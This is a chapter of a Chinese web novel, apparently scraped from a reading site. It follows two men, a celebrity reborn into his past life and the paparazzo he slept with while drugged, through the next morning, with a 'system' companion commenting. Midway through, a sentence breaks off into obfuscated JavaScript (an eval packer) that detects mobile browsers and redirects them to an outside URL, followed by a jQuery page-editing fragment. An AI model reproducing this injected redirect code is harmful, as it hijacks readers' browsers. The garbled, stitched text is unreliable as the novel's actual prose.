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陆星哲昨天被折腾的够呛,他听见动静,慢半拍的皱眉睁开眼,浑身像被碾过了一样,嗓子火烧火燎的疼,待看见身旁醒来的席年,微不可察的顿住身形。 “哟,醒了?” 陆星哲似乎没有半分不好意思,他缓慢坐直身体,薄被下滑,身躯暴露在空气中,青紫红痕一览无遗,然后伸长手臂从地上捞起衣服,一件件的往身上穿。 席年看着他,没说话。 不知道是不是因为昨天被折腾狠了,陆星哲面色有些不正常的苍白,他偏头睨了席年一眼,声音懒洋洋的,有些沙哑,勾唇道:“别这么看着我,昨天可是你自己贴上来的。” 席年还是没动,眸色暗沉,不知在想些什么。 陆星哲看了他一眼,片刻后,又收回视线,穿衣服的动作比刚才快了许多,听不出情绪的反问道:“怎么,不信?觉得我这个狗仔故意占你便宜?” 席年:“……” 19. 他妈的 席年没说话,他昨天被蒋伦下药坑了,混沌之下连自己做了什么都不知道,但现在思绪纷纷归拢,自然什么都想起来了,面色难明,实在算不上好。 偏偏陆星哲还在一旁故意提醒:“你忘了,昨天你拉着我的手不让走,还把我按在墙上……” 话未说完,就被席年沉声打断:“够了。” 陆星哲挑眉,对上他冷冰冰的眼神,似乎从里面窥见了某种嫌恶,顿了顿,然后慢条斯理的笑开:“后悔?后悔也没用了,我们两个该做的不该做的都做了。” 他纤瘦的脖颈处满是浅色的红痕,无声彰显着昨晚的战况有多激烈,衣领几欲遮不住。 席年问:“你想怎么样?” “不怎么样。” 陆星哲说完这句话,转身离开,并没有出现想象中的威胁或刁难,只剩下床上的一摊凌乱。席年见他走路姿势不太自然,无声拧眉,然后下床捡起衣服匆匆套上。 系统不知道围观了多久,静悄悄现出身形,身上的蓝光比平时亮了不止一倍,忽闪忽闪:【你要把他追回来吗?】 席年面无表情看向它,然后反问:“我为什么要追他回来?” 系统的身体变红了:【因为……因为你们那个了呀……】 席年心情忽然有些烦躁,没由来的那种:“怎么,你们星际规定睡了觉就得把人追回来?” 系统:【……这倒没有】 席年说:“那就别问那么多为什么。” 系统:【但是你昨天问了好多】 席年衣服只穿了一半,闻言动作倏的顿住,他像是一下子被人戳中某个不可言说的隐秘心事,身形有片刻僵硬,好不容易松缓下来,却是拿了套干净衣服,径直走进了浴室。 花洒热水兜头浇下,很容易让人联想起某种身躯紧贴的温度,席年把黑发捋向脑后,五官深邃俊美,眼角眉梢都带着不易察觉的淡漠,似乎能窥透男人骨子里的冰冷。 简而言之,这不是一个足够温暖的人。 席年闭着眼,因为昨天的一场醉酒,前世那些不愿触碰的记忆就像开了闸的洪水般倾泻而出,他想起陆星哲威胁自己,他想起陆星哲害自己身败名裂,但临死前却又只有陆星哲陪着自己…… 为什么要来? 既然已经选择了报复他,又为什么要来? 也许因为是死前的最后一幕,所以席年记忆深刻,那种站在高处的空荡孤独感又一瞬间袭遍了全身,他思及自己昨天抓住陆星哲的肩膀不让他离开,悄无声息睁开了眼。 陆星哲、陆星哲…… 他们曾一起做过恶事,一起登上神台,最后又一同跌落地狱。 这种羁绊远比席年想象中要深得多,三言两语撇不清,重活一世也撇不清,他的理智在强行忘记这个人,他的身体却还记得他。 “……” 席年缓缓平复心情,然后关掉了花洒,系统一直密切注意他的动向:【你打算怎么办?】 席年心想还能怎么办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891947|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“等消息。” 他原以为陆星哲会把这个当做把柄来威胁,但事实上对方走的干脆利落,似乎根本不稀罕,席年觉得这根本不像他的作风,只能静观其变。 又或者他也需要时间去思考一些事。 这几天阴雨连绵,陆星哲回家没多久,外面就下起了雨,他没心思管,坐在沙发上半天都没动,皮肤苍白,衣服宽松,无端显出一种病弱的瘦削。 身后某处地方仍然难受,不慎牵扯时,后背出了一层虚汗,陆星哲不知道该怎么处理,只能脚步打晃的进浴室洗澡,然后自己胡乱收拾了一通。 水气在密闭的空间弥漫,连带着镜子都蒙上了一层白雾,他随手擦出一块清晰的地方,不偏不倚正对着肩头,哪里有一道浅浅的牙印,青紫交错,可以想象席年昨天在这一处是如何反复厮磨缠吻的。 但醒来的时候,偏偏冷漠又嫌恶。 这是陆星哲的第一次。 他对着镜子,用指尖蹭了蹭破皮红肿的下唇,当时亲的时候暧昧炽热,不觉得什么,但清醒过来,一夕欢愉,留下的只是疼痛。 陆星哲对着席年的时候总是笑,但当自己一个人的时候,又不怎么笑了。他走出浴室,墨色的发梢还在滴着水,懒洋洋在电脑前落座,想处理昨天的照片,结果忽然想起因为临时遇到席年,什么都没来得及拍。 又一单生意成功泡汤。 “……” 静默许久,陆星哲烦躁的爆了句粗口:“他妈的。”